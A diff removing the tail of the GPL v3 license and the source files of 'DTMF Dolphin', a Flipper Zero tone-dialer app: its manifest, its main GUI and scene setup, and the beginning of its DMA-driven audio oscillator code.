which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -1,17 +0,0 @@
|
||||
App(
|
||||
appid="dtmf_dolphin",
|
||||
name="DTMF Dolphin",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="dtmf_dolphin_app",
|
||||
requires=[
|
||||
"storage",
|
||||
"gui",
|
||||
"dialogs",
|
||||
],
|
||||
fap_icon="phone.png",
|
||||
stack_size=8 * 1024,
|
||||
fap_category="Tools",
|
||||
fap_author="@litui & @xMasterX",
|
||||
fap_version="1.1",
|
||||
fap_description="DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox.",
|
||||
)
|
||||
@@ -1,89 +0,0 @@
|
||||
#include "dtmf_dolphin_i.h"
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
|
||||
static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) {
|
||||
furi_assert(context);
|
||||
DTMFDolphinApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
static bool dtmf_dolphin_app_back_event_callback(void* context) {
|
||||
furi_assert(context);
|
||||
DTMFDolphinApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static void dtmf_dolphin_app_tick_event_callback(void* context) {
|
||||
furi_assert(context);
|
||||
DTMFDolphinApp* app = context;
|
||||
|
||||
scene_manager_handle_tick_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static DTMFDolphinApp* app_alloc() {
|
||||
DTMFDolphinApp* app = malloc(sizeof(DTMFDolphinApp));
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
app->scene_manager = scene_manager_alloc(&dtmf_dolphin_scene_handlers, app);
|
||||
view_dispatcher_enable_queue(app->view_dispatcher);
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
|
||||
view_dispatcher_set_custom_event_callback(
|
||||
app->view_dispatcher, dtmf_dolphin_app_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(
|
||||
app->view_dispatcher, dtmf_dolphin_app_back_event_callback);
|
||||
view_dispatcher_set_tick_event_callback(
|
||||
app->view_dispatcher, dtmf_dolphin_app_tick_event_callback, 100);
|
||||
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
app->main_menu_list = variable_item_list_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
DTMFDolphinViewMainMenu,
|
||||
variable_item_list_get_view(app->main_menu_list));
|
||||
|
||||
app->dtmf_dolphin_dialer = dtmf_dolphin_dialer_alloc();
|
||||
view_dispatcher_add_view(
|
||||
app->view_dispatcher,
|
||||
DTMFDolphinViewDialer,
|
||||
dtmf_dolphin_dialer_get_view(app->dtmf_dolphin_dialer));
|
||||
|
||||
app->notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
notification_message(app->notification, &sequence_display_backlight_enforce_on);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneStart);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
static void app_free(DTMFDolphinApp* app) {
|
||||
furi_assert(app);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
|
||||
view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewDialer);
|
||||
variable_item_list_free(app->main_menu_list);
|
||||
|
||||
dtmf_dolphin_dialer_free(app->dtmf_dolphin_dialer);
|
||||
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
scene_manager_free(app->scene_manager);
|
||||
|
||||
notification_message(app->notification, &sequence_display_backlight_enforce_auto);
|
||||
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t dtmf_dolphin_app(void* p) {
|
||||
UNUSED(p);
|
||||
DTMFDolphinApp* app = app_alloc();
|
||||
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
app_free(app);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,270 +0,0 @@
|
||||
#include "dtmf_dolphin_audio.h"
|
||||
|
||||
DTMFDolphinAudio* current_player;
|
||||
|
||||
static void dtmf_dolphin_audio_dma_isr(void* ctx) {
|
||||
FuriMessageQueue* event_queue = ctx;
|
||||
|
||||
if(LL_DMA_IsActiveFlag_HT1(DMA1)) {
|
||||
LL_DMA_ClearFlag_HT1(DMA1);
|
||||
|
||||
DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAHalfTransfer};
|
||||
furi_message_queue_put(event_queue, &event, 0);
|
||||
}
|
||||
|
||||
if(LL_DMA_IsActiveFlag_TC1(DMA1)) {
|
||||
LL_DMA_ClearFlag_TC1(DMA1);
|
||||
|
||||
DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAFullTransfer};
|
||||
furi_message_queue_put(event_queue, &event, 0);
|
||||
}
|
||||
}
|
||||
|
||||
void dtmf_dolphin_audio_clear_samples(DTMFDolphinAudio* player) {
|
||||
for(size_t i = 0; i < player->buffer_length; i++) {
|
||||
player->sample_buffer[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
DTMFDolphinOsc* dtmf_dolphin_osc_alloc() {
|
||||
DTMFDolphinOsc* osc = malloc(sizeof(DTMFDolphinOsc));
|
||||
osc->cached_freq = 0;
|
||||
osc->offset = 0;
|
||||
osc->period = 0;
|
||||
osc->lookup_table = NULL;
|
||||
return osc;
|
||||
}
|
||||
|
||||
DTMFDolphinPulseFilter* dtmf_dolphin_pulse_filter_alloc() {
|
||||
DTMFDolphinPulseFilter* pf = malloc(sizeof(DTMFDolphinPulseFilter));
|
||||
pf->duration = 0;
|
||||
pf->period = 0;
|
||||
pf->offset = 0;
|
||||
pf->lookup_table = NULL;
|
||||
return pf;
|
||||
}
|
||||
|
||||
DTMFDolphinAudio* dtmf_dolphin_audio_alloc() {
|
||||
DTMFDolphinAudio* player = malloc(sizeof(DTMFDolphinAudio));
|
||||
player->buffer_length = SAMPLE_BUFFER_LENGTH;
|
||||
player->half_buffer_length = SAMPLE_BUFFER_LENGTH / 2;
|
||||
player->sample_buffer = malloc(sizeof(uint16_t) * player->buffer_length);
|
||||
player->osc1 = dtmf_dolphin_osc_alloc();
|
||||
player->osc2 = dtmf_dolphin_osc_alloc();
|
||||
player->volume = 1.0f;
|
||||
player->queue = furi_message_queue_alloc(10, sizeof(DTMFDolphinCustomEvent));
|
||||
player->filter = dtmf_dolphin_pulse_filter_alloc();
|
||||
player->playing = false;
|
||||
dtmf_dolphin_audio_clear_samples(player);
|
||||
|
||||
return player;
|
||||
}
|
||||
|
||||
size_t calc_waveform_period(float freq) {
|
||||
if(!freq) {
|
||||
return 0;
|
||||
}
|
||||
// DMA Rate calculation, thanks to Dr_Zlo
|
||||
float dma_rate = CPU_CLOCK_FREQ / 2 / DTMF_DOLPHIN_HAL_DMA_PRESCALER /
|
||||
(DTMF_DOLPHIN_HAL_DMA_AUTORELOAD + 1);
|
||||
|
||||
// Using a constant scaling modifier, which likely represents
|
||||
// the combined system overhead and isr latency.
|
||||
return (uint16_t)dma_rate * 2 / freq * 0.801923;
|
||||
}
|
||||
|
||||
void osc_generate_lookup_table(DTMFDolphinOsc* osc, float freq) {
|
||||
if(osc->lookup_table != NULL) {
|
||||
free(osc->lookup_table);
|
||||
}
|
||||
osc->offset = 0;
|
||||
